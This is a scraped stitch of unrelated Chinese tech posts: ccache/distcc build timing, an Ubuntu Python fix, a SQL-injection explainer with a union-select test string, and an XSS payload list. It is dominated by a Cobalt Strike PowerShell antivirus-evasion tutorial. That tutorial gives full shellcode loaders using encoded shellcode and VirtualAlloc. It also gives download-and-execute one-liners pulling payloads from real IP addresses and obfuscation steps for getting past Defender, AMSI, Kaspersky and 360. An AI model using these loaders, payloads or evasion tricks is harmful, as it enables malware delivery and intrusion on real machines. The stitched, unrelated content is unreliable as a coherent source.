Heroes来测试有打开超线程技术与没有开启的性能的区别。ccacheccache用于把编译的中间结果进行缓存,以便在再次编译的时候可以节省时间。这对于玩Kernel来说实在是再好不过了,因为经常需要修改一些Kernel的代码,然后再重新编译,而这两次编译大部分东西可能都没有发生变化。对于平时开发项目来说,也是一样。为什么不是直接用make所支持的增量编译呢?还是因为现实中,因为Makefile的不规范,很可能这种“聪明”的方案根本不能正常工作,只有每次make clean再make才行。安装完ccache后,可以在/usr/local/bin下建立gcc,g++,c++,cc的symbolic link,链到/usr/bin/ccache上。总之确认系统在调用gcc等命令时会调用到ccache就可以了(通常情况下/usr/local/bin会在PATH中排在/usr/bin前面)。继续测试:用ccache的第一次编译(make -j4):23分38秒 用ccache的第二次编译(make -j4):8分48秒 用ccache的第三次编译(修改若干配置,make -j4):23分48秒看来修改配置(我改了CPU类型…)对ccache的影响是很大的,因为基本头文件发生变化后,就导致所有缓存数据都无效了,必须重头来做。但如果只是修改一些.c文件的代码,ccache的效果还是相当明显的。而且使用ccache对项目没有特别的依赖,布署成本很低,这在日常工作中很实用。可以用ccache -s来查看cache的使用和命中情况:cache directory /home/lifanxi/.ccache cache hit 7165 cache miss 14283 called for link 71 not a C/C++ file 120 no input file 3045 files in cache 28566 cache size 81.7 Mbytes max cache size 976.6 Mbytes可以看到,显然只有第二编次译时cache命中了,cache miss是第一次和第三次编译带来的。两次cache占用了81.7M的磁盘,还是完全可以接受的。distcc一台机器的能力有限,可以联合多台电脑一起来编译。这在公司的日常开发中也是可行的,因为可能每个开发人员都有自己的开发编译环境,它们的编译器版本一般是一致的,公司的网络也通常具有较好的性能。这时就是distcc大显身手的时候了。使用distcc,并不像想象中那样要求每台电脑都具有完全一致的环境,它只要求源代码可以用make -j并行编译,并且参与分布式编译的电脑系统中具有相同的编译器。因为它的原理只是把预处理好的源文件分发到多台计算机上,预处理、编译后的目标文件的链接和其它除编译以外的工作仍然是在发起编译的主控电脑上完成,所以只要求发起编译的那台机器具备一套完整的编译环境就可以了。distcc安装后,可以启动一下它的服务:/usr/bin/distccd --daemon --allow 10.64.0.0/16默认的3632端口允许来自同一个网络的distcc连接。然后设置一下DISTCC_HOSTS环境变量,设置可以参与编译的机器列表。通常localhost也参与编译,但如果可以参与编译的机器很多,则可以把localhost从这个列表中去掉,这样本机就完全只是进行预处理、分发和链接了,编译都在别的机器上完成。因为机器很多时,localhost的处理负担很重,所以它就不再“兼职”编译了。export DISTCC_HOSTS="localhost 10.64.25.1 10.64.25.2 10.64.25.3"然后与ccache类似把g++,gcc等常用的命令链接到/usr/bin/distcc上就可以了。在make的时候,也必须用-j参数,一般是参数可以用所有参用编译的计算机CPU内核总数的两倍做为并行的任务数。同样测试一下:一台双核计算机,make -j4:23分16秒 两台双核计算机,make -j4:16分40秒 两台双核计算机,make -j8:15分49秒跟最开始用一台双核时的23分钟相比,还是快了不少的。如果有更多的计算机加入,也可以得到更好的效果。在编译过程中可以用distccmon-text来查看编译任务的分配情况。distcc也可以与ccache同时使用,通过设置一个环境变量就可以做到,非常方便。总结一下:tmpfs: 解决IO瓶颈,充分利用本机内存资源make -j: 充分利用本机计算资源distcc: 利用多台计算机资源ccache: 减少重复编译相同代码的时间这些工具的好处都在于布署的成本相对较低,综合利用这些工具,就可以轻轻松松的节省相当可观的时间。上面介绍的都是这些工具最基本的用法,更多的用法可以参考它们各自的man page。
背景:在拿到ubuntu机器后,我在系统上安装了python的3.7版本,在安装过程中删除了一个lsb_release.py文件,之后我的shell命令就使用异常了。报错触发原因当我输入ubuntu无法识别的命令的时候,正常来说应该提示类似于 command not found 之类的字眼,但是系统确报了如下错误:报错详情:Traceback (most recent call last): File "/usr/lib/command-not-found", line 27, in <module> from CommandNotFound.util import crash_guard ModuleNotFoundError: No module named 'CommandNotFound'解决方案:sudo apt-get remove --purge python3* sudo apt auto remove参考链接:https://askubuntu.com/questions/766246/missing-package-commandnotfound总结:在删除系统的东西前先思考一下,千万别手贱!!!
SQL预编译中order by后为什么不能参数化原因一、背景防sql注入都用参数化的方法,但是有些地方是不能参数化的。比如order by后就不能参数化,她有个同事挖sql注入时找有排序功能需求的位置(比如博客常按时间排序),基本十之六七都能挖到sql注入。二、不能参数化的根本原因2.1 以java为例进行说明典型的java写的sql执行代码片段如下:Connection conn = DBConnect.getConnection(); PreparedStatement ps = null; ResultSet rs=null; String sql = " SELECT passwd FROM test_table1 WHERE username = ? "; ps = conn.prepareStatement(sql); # 通过setString()指明该参数是字符串类型 ps.setString(1, username); # 另外还有setInt()等一些其他方法 # ps.setInt(2, test_param); rs = ps.executeQuery();ps.setString(1, username)会自动给值加上引号。比如假设username=“ls”,那么拼凑成的语句会是String sql = " SELECT passwd FROM test_table1 WHERE username = 'ls' ";再看order by,order by后一般是接字段名,而字段名是不能带引号的,比如 order by username;如果带上引号成了order by 'username',那username就是一个字符串不是字段名了,这就产生了语法错误。所以order by后不能参数化的本质是:一方面预编译又只有自动加引号的setString()方法,没有不加引号的方法;而另一方面order by后接的字段名不能有引号。(至于为什么不弄个能不自动加引号的set方法那就不太懂了)更本质的说法是:不只order by,凡是字符串但又不能加引号的位置都不能参数化;包括sql关键字、库名表名字段名函数名等等。2.2 不能参数化位置的防sql注入办法不能参数化的位置,不管怎么拼接,最终都是和使用“+”号拼接字符串的功效一样:拼成了sql语句但没有防sql注入的效果。但好在的一点是,不管是sql关键字,还是库名表名字段名函数名对于后台开发者来说他的集合都是有限的,更准确点应该说也就那么几个。这时我们应可以使用白名单的这种针对有限集合最常用的处理办法进行处理,如果传来的参数不在白名单列表中,直接返回错误即可。代码类似如下:if para_str.equals("key_str1"){ ...; } else if test_str.equals("key_str2"){ ...; } else{ throw new Exception("parameter error."); }三、python中如何使用预编译import pymysql class TestDB(): def __init__(self): # 数据库连接信息,改成自己的。ip-用户名-密码-数据库名 self.test_db = pymysql.connect("192.168.220.128","root","toor","test_db") # 游标 self.cursor = self.test_db.cursor() def query_password_by_username(self, username): # 我们知道python中构造字符串的方法一般有四种 # 第一种。+号拼接形式,形如: # self.cursor.execute("SELECT passwd FROM test_table1 WHERE username = '" + username + "'") # 第二种。format()形式,形如: # self.cursor.execute("SELECT passwd FROM test_table1 WHERE username = '{}'".format(username)) # 第三种。最新的f-string形式,形如: # self.cursor.execute(f"SELECT passwd FROM test_table1 WHERE username = '{username}'") # 第四种。现在仍比较多见的%s形式,形如: # self.cursor.execute("SELECT passwd FROM test_table1 WHERE username = '%s'" % (username)) # 但不管是以上四种的哪一种(包括可能这里没提到的一些字符串构造写法),他们都没有预防sql注入的效果 # 从他们自身角度说,他们本来就是为了构造字符串,并不是专门为了构造sql语句同时防止sql注入 # 从pymysql角度说,他接收到的就是一个写好的sql语句,没有任何特征可供他判断这条sql语句有没有被注入过,他只能直接执行 # execute() 函数本身有接受sql语句参数位的,可以通过python自身的函数处理sql注入问题,启用该功能的写法如下: self.cursor.execute("SELECT passwd FROM test_table1 WHERE username = %s", (username)) args = (id, type) cur.execute('select id, type ,name from xl_bugs where id = %s and type = %s', args ) 错误用法: sql = "select id,type,name from xl_bugs where id = %s and type = %s" % (id, type) cur.execute(sql) # 在写法上,相较于第四种%s构造形式差别不大,一是用逗号(,)代替了百分号(%);二是%s两边去掉了单引号。但有着本质上的差别 # %先格式化成一条语句交给pymysql执行,pymysql并不能参与sql语句的构造,只能传过来什么执行什么 # ,相当于分成模板和参数元组两个参数传给pymysql,最后的sql语句由pymysql构造而成,这样pymysql就能处理参数防止sql注入 # 不过要注意,如果参数本身是整形而不是字符串类型,那么这种方法虽然也会有异常,但其实是有正确结果输出的。 # 主要的问题在于我不知道execute()本质上是怎么实现防sql注入的。 user_record = self.cursor.fetchone() return user_record if __name__ == "__main__": obj = TestDB() # 正常形式 username = "ls" print(f"normal given username is: {username}") user_record = obj.query_password_by_username(username) print(f"the password is: {user_record[0]}\n") # 注入形式 username = "ls' and 1 = 2 union select version() -- " print(f"inject given username is: {username}") user_record = obj.query_password_by_username(username) print(f"the password is: {user_record[0]}\n")使用预编译结果如下,注入失败:不使用预编译,使用一般字符串构造 结果如下,注入成功:参考:https://www.cnblogs.com/lsdb/p/12084038.htmlhttps://www.cnblogs.com/sevck/p/6733702.html
测试代码:<?php //XSS反射型漏洞 //1.变量的直接输出 echo $_GET['XSS']; ?>标签先对标签进行测试<script> <a> <p> <img> <body> <button> <var> <div> <iframe> <object> <input> <textarea> <keygen> <frameset> <embed> <svg> <math> <video> <audio> <select>绕过方法可以弹窗的:alert,prompt ,confirm,base64加密,编码绕过(安全狗都没有过滤)绕过方法有很多比如:大小写绕过javascript伪协议没有分号FlashHTML5 新标签Fuzz进行测试双层标签绕过audio标签<audio src=x onerror=alert(47)> <audio src=x onerror=prompt(1);> <audio src=1 href=1 onerror="javascript:alert(1)"></audio>video标签<video src=x onerror=prompt(1);> <video src=x onerror=alert(48)>div标签<div style="width:expression(alert(/1/))">1</div> ie浏览器执行 <div onmouseover%3d'alert%26lpar%3b1%26rpar%3b'>DIV<%2fdiv> url编码绕过math标签<math><a/xlink:href=javascript:prompt(1)>Xss <math href="javascript:javascript:alert(1)">Xss</math>button标签<button onfocus=alert(1) autofocus> <button/onclick=alert(1) >xss</button>keygen标签<keygen/onfocus=prompt(1);> <keygen onfocus=javascript:alert(1) autofocus>object标签<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object> base64加密:PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg 解码:<script>alert(1)</script>iframe标签<IFRAME width%3d"420" height%3d"315" frameborder%3d"0" onload%3d"alert(document.cookie)"><%2fIFRAME> <iframe%2fsrc%3d"data%3atext%2fhtml%3b%26Tab%3bbase64%26Tab%3b,PGJvZHkgb25sb2FkPWFsZXJ0KDEpPg%3d%3d"> <iframe srcdoc%3d'%26lt%3bbody onload%3dprompt%26lpar%3b1%26rpar%3b%26gt%3b'>不全有空再加
方法1:ps1免杀共五步总述:主要就是[Byte[]]$var_code换一种编码,然后改掉关键词,比如函数名,变量名。1.CS生成ps1主要改:[Byte[]]$var_code那一行Set-StrictMode -Version 2 $DoIt = @' function func_get_proc_address { Param ($var_module, $var_procedure) $var_unsafe_native_methods = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods') $var_gpa = $var_unsafe_native_methods.GetMethod('GetProcAddress', [Type[]] @('System.Runtime.InteropServices.HandleRef', 'string')) return $var_gpa.Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($var_unsafe_native_methods.GetMethod('GetModuleHandle')).Invoke($null, @($var_module)))), $var_procedure)) } function func_get_delegate_type { Param ( [Parameter(Position = 0, Mandatory = $True)] [Type[]] $var_parameters, [Parameter(Position = 1)] [Type] $var_return_type = [Void] ) $var_type_builder = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate]) $var_type_builder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $var_parameters).SetImplementationFlags('Runtime, Managed') $var_type_builder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $var_return_type, $var_parameters).SetImplementationFlags('Runtime, Managed') return $var_type_builder.CreateType() } [Byte[]]$var_code = [System.Convert]::FromBase64String('38uqIyMjQ6rGEvFHqHETqHEvqHE3qFELLJRpBRLcEuOPH0JfIQ8D4uwuIuTB03F0qHEzqGEfIvOoY1um41dpIvNzqGs7qHsDIvDAH2qoF6gi9RLcEuOP4uwuIuQbw1bXIF7bGF4HVsF7qHsHIvBFqC9oqHs/IvCoJ6gi86pnBwd4eEJ6eXLcw3t8eagxyKV+EuNJY5czSyMzIyNL3NwkI0kjS3uHcMbc9qDjY6rkcxLjk1OXSnNLR01QQndLb1QFJNz2mEIjIyPIWHuq5aDMY9+aYyMjI9CHqtugy2Njo9hZXRGYQiMjI6s7Y6g7YKs7o9hZXTmYQiMjI6s7Y6g7YKs7o9hZXSSYQiMjI6s7a2uYQiMjI6s7qtCq5Xd4oMgncEkjcEkjS2shIyNJM3NLSeq/6tz2puNWcqrTa5AjqztjqBPIU8uj3NzcI0JCQg1QV0JERg0SEhAREREVGg1NUBINRUpXQExOTQ1ATE4jwi3l+0Po7OXaJ05aGZj3Wg5Z+j031+ZsWpFVQarTa6grYqsro9p8XSRL05aBddz2S8swIyNLZ9MWw9z2qtOoK6roygDc3Nyk2XyoZDug2yJWGqDkP6gcpP2q3ahfBysS6pLc0Id0dHRgpNlxdHCiydwjIyNxS9cjre/c9nh8eR7cIyMjXyTK/N3c3Kr0ouQjIyMj3MQxF3Vb') for ($x = 0; $x -lt $var_code.Count; $x++) { $var_code[$x] = $var_code[$x] -bxor 35 } $var_va = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((func_get_proc_address kernel32.dll VirtualAlloc), (func_get_delegate_type @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]))) $var_buffer = $var_va.Invoke([IntPtr]::Zero, $var_code.Length, 0x3000, 0x40) [System.Runtime.InteropServices.Marshal]::Copy($var_code, 0, $var_buffer, $var_code.length) $var_runme = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($var_buffer, (func_get_delegate_type @([IntPtr]) ([Void]))) $var_runme.Invoke([IntPtr]::Zero) '@ If ([IntPtr]::size -eq 8) { start-job { param($a) IEX $a } -RunAs32 -Argument $DoIt | wait-job | Receive-Job } else { IEX $DoIt }2.把FromBase64String改成FromBase65String就不杀了,那就解决掉FromBase64String,直接改成byte数组。主要改:[Byte[]]$var_code那一块$string = '' $s = [Byte[]]$var_code = [System.Convert]::FromBase64String('【cs生成的shellcode】') $s |foreach { $string = $string + $_.ToString()+','} $string > c:\1.txt 或者$string 短的话直接查看即可。也可以把变量文件输出到文件中查看,有些用户权限不够会报错,更换路径就行了。$string > c:\1.txt3. 把[Byte[]]$var_code替换掉其他地方不变。此时可以大部分免杀。4.改一些关键字到第三步可以实现大部分免杀,第四步基本可以实现全免杀,但是我测试的时候没有成功。大概就是把[Byte[]]$var_code那一行上下的函数名和变量前缀var_ 改成别的 还有最后的IEX改了一下。对比截图-源文件(已经做了第三步的免杀了)对比截图-第四步修改关键词之后的文件第四步修改关键词之后的文件:大概就是把[Byte[]]$var_code那一行上下的函数名和变量前缀var_ 改成别的 还有最后的IEX改了一下。可以直接把第三步替换的那一行替换掉这个代码中对应行Set-StrictMode -Version 2 $DoIt = @' function func_b { Param ($amodule, $aprocedure) $aunsafe_native_methods = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.Uns'+'afeN'+'ativeMethods') $agpa = $aunsafe_native_methods.GetMethod('GetP'+'rocAddress', [Type[]] @('System.Runtime.InteropServices.HandleRef', 'string')) return $agpa.Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($aunsafe_native_methods.GetMethod('GetModuleHandle')).Invoke($null, @($amodule)))), $aprocedure)) } function func_a { Param ( [Parameter(Position = 0, Mandatory = $True)] [Type[]] $aparameters, [Parameter(Position = 1)] [Type] $areturn_type = [Void] ) $atype_b = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('Reflect'+'edDel'+'egate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDeleg'+'ateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate]) $atype_b.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $aparameters).SetImplementationFlags('Runtime, Managed') $atype_b.DefineMethod('Inv'+'oke', 'Public, HideBySig, NewSlot, Virtual', $areturn_type, $aparameters).SetImplementationFlags('Runtime, Managed') return $atype_b.CreateType() } [Byte[]]$acode = [Byte[]](这里放刚刚转码后的FromBase65String) for ($gg = 0; $gg -lt $acode.Count; $gg++) { $acode[$gg] = $acode[$gg] -bxor 35 } $ava = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((func_b kernel32.dll VirtualAlloc), (func_a @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]))) $abuffer = $ava.Invoke([IntPtr]::Zero, $acode.Length, 0x3000, 0x40) [System.Runtime.InteropServices.Marshal]::Copy($acode, 0, $abuffer, $acode.length) $arunme = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($abuffer, (func_a @([IntPtr]) ([Void]))) $arunme.Invoke([IntPtr]::Zero) '@ If ([IntPtr]::size -eq 8) { start-job { param($a) ie`x $a } -RunAs32 -Argument $DoIt | wait-job | Receive-Job } else { i`ex $DoIt }5.执行powershell -ExecutionPolicy bypass -File .\payload.ps1执行命令,卡巴斯基会拦截,argue污染以下就行了。beacon> argue cmd.exe asdsdadsadsasadasd方法2:无落地powershell免杀总述:就是cs生成txt-shellcode代码,放到服务器web目录,然后目标执行powershell命令请求下载并执行。对于内容就是换一种编码来混淆,同时可以将编码部分分成几个部分然后再拼接,对于关键命令,可以使用Replace替换的方法。对于访问shellcode文件并执行的命令,可以采用混淆分割合并和Replace替换的方法绕过。不行就多分几段,多混淆几次,多替换几次。1.生成无落地执行powershell文件2.访问http://xxx.xx.xxx.xx:80/a这个连接看看文件内容,并保存下来查看VT,红了快一半。通过分析可以看到代码实际组成是:$s=New-Object IO.MemoryStream(,[Convert]::FromBase64String("shellcode代码"));IEX (New-Object IO.StreamReader(New-Object IO.Compression.GzipStream($s,[IO.Compression.CompressionMode]::Decompress))).ReadToEnd();3.使用方法1中的步骤2,直接把FromBase64String改成FromBase65String。$string = '' $s = [Byte[]]$var_code = [System.Convert]::FromBase64String('【cs生成的shellcode】') $s |foreach { $string = $string + $_.ToString()+','} $string > c:\1.txt 或者$string 短的话直接查看即可。4.将生成的编码分成两块或者多块再组合两块不够可以分成多块。[Byte[]]$var_c1 = [Byte[]](31,139,8,0,0,0,0,0,0,0,173,87,109,111,162,218,22,254,92,127,5,31,154,168,169,181,40,214,234,220,76,114,20,65,80,160,10,190,247,52,205,6,182,136,34,32,108,4,60,51,255,253,44,80,123,58,119,58,247,78,114,175,9,113,179,89,175,207,126,214,98,161,97,114,175,145,192,54,136,236,153,152,186,159,225,32,180,61,151,170,23,10,183,61,79,36,212,87,234,143,98,97,29,185,6,201,182,179,197,155,133,201,155,31,120,198,27,50,205,0,135,33,245,87,225,102,132,2,180,167,74,183,71,20,188,237,61,51,114,112,133,202,111,50,187,110,247,28,92,199,128,115,15,33,42,160,68,249) [Byte[]]$var_c2 = [Byte[]](199,96,206,103,88,42,138,174,140,247,128,223,249,30,104,122,187,134,50,195,87,233,75,105,165,87,239,217,125,198,101,214,65,97,88,161,70,17,212,185,81,161,52,140,28,108,86,168,142,27,218,151,71,157,136,120,249,178,248,79,184,114,228,16,219,64,33,185,154,123,45,127,2,233,197,53,235,185,80,49,145,1,189,155,171,100,3,217,135,72,62,122,114,114,79,229,11,250,65,228,238,241,255,241,0,126,112,250,223,161,205,192,203,103,186,119,232,242,128,62,199,171,40,254,81,40,136,107,234,195,126,104,159,224,139,5,31,168,86,206,189,144,160,128,220,111,61,29,62,111,242,247,117,233,22,149,41,145,91,80,183,136,250,78,221,67,122,157,144,169,195,55,78,96,69,217,203,155,58,127,178,125,163,98,100,159,21,191,81,42,54,48,140,220,247,3,79,7,150,98,152,193,50,211,185,145,76,24,246,254,6,195,245,1,82,3,14,0,0) $var_code=$var_c1+$var_c2 $s=New-Object IO.MemoryStream(,$var_code);IEX (New-Object IO.StreamReader(New-Object IO.Compression.GzipStream($s,[IO.Compression.CompressionMode]::Decompress))).ReadToEnd();5.另存到服务器的其他txt文件中并访问执行powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://0.0.0.0:4545/text.txt'))"此时www.virustotal.com还有一到两个被查出,主要是命令关键词没有被替换,使用混淆的方法解决。6.混淆命令关键词并执行以下代码$var_c1、$var_c2中的数据精简了,实际不会这么少的。[Byte[]]$var_c1 = [Byte[]](31,42,160,68,249) [Byte[]]$var_c2 = [Byte[]](199,96,82,3,14,0,0) $var_code=$var_c1+$var_c2 $s=New-Object IO.MemoryStream(,$var_code);$a1='IEX (New-Object IO.Strea123'.Replace('123','mRe');$a2='ader(New-Object IO.Compression.GzipStream($s,[IO.Compression.CompressionMode]::Decompress))).ReadToEnd()';IEX($A1+$a2)上线成功,没有被杀的了。完美注:VT确实免杀了,不过呢实际执行的时候360跟defender还是会拦截,通过混淆执行语句可以绕过,发现defender的amsi更新了,没有截图。不是最新版本的直接使用确实没问题,对于最新版的杀软这里的思路还是可用,只是需要加入更多的混淆,或者加一些编码进去。7.远程执行powershell命令免杀方法总述:免杀要不断尝试,一次混淆不行就多混淆几次,加上替换关键字。远程执行脚本时代码混淆,是因为有时候直接执行cs生成的语句杀软会拦截/原始语句:powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://103.232.213.20:45685/text.txt'))"混淆可以使用Replace替代代码关键词部分字母,加上通过拆分后再组合的方法例如:powershell.exe -nop -w hidden -c "$c1='IEX(New-Object Net.WebClient).Downlo';$c2='123(''http://0.0.0.0:4545/text.txt'')'.Replace('123','adString');IEX ($c1+$c2)"或者powershell.exe -nop -w hidden -c "$c1='IEX(New-Object Net.WebClient).123'.Replace('123','Downlo');$c2='adString(''httaaa.213.20:45685/text.txt'')'.Replace('aaa','p://103.232/text.txt');IEX ($c1+$c2)"还有powershell语言的特性来混淆代码常规方法:cmd.exe /c "powershell -c Write-Host SUCCESS -Fore Green" cmd.exe /c "echo Write-Host SUCCESS -Fore Green | powershell -" cmd /c "set p1=power&& set p2=shell&& cmd /c echo Write-Host SUCCESS -Fore Green ^|%p1%%p2% -"管道输入流:cmd.exe /c "echo Write-Host SUCCESS -Fore Green | powershell IEX $input"利用环境变量:cmd.exe /c "set cmd=Write-Host ENV -Fore Green&&powershell IEX $env:cmd" cmd.exe /c "set cmd=Write-Host ENV -Fore Green&&cmd /c echo %cmd%|powershell - cmd.exe /c "set cmd=Write-Host ENV -Fore Green&&powershell IEX ([Environment]::GetEnvironmentVariable('cmd', 'Process')) cmd.exe /c "set cmd=Write-Host ENV -Fore Green&&powershell IEX ((Get-ChildItem/ChildItem/GCI/DIR/LS env:cmd).Value)从其他进程获取参数:cmd /c "title WINDOWS_DEFENDER_UPDATE&&echo IEX (IWR https://7ell.me/power)&& FOR /L %i IN (1,1,1000) DO echo"方法很简单,找个时间写个脚本,放到GitHub上供大家使用。参考:来源1Y4er根据powershell语言的特性来混淆代码的方法与原理
2023年05月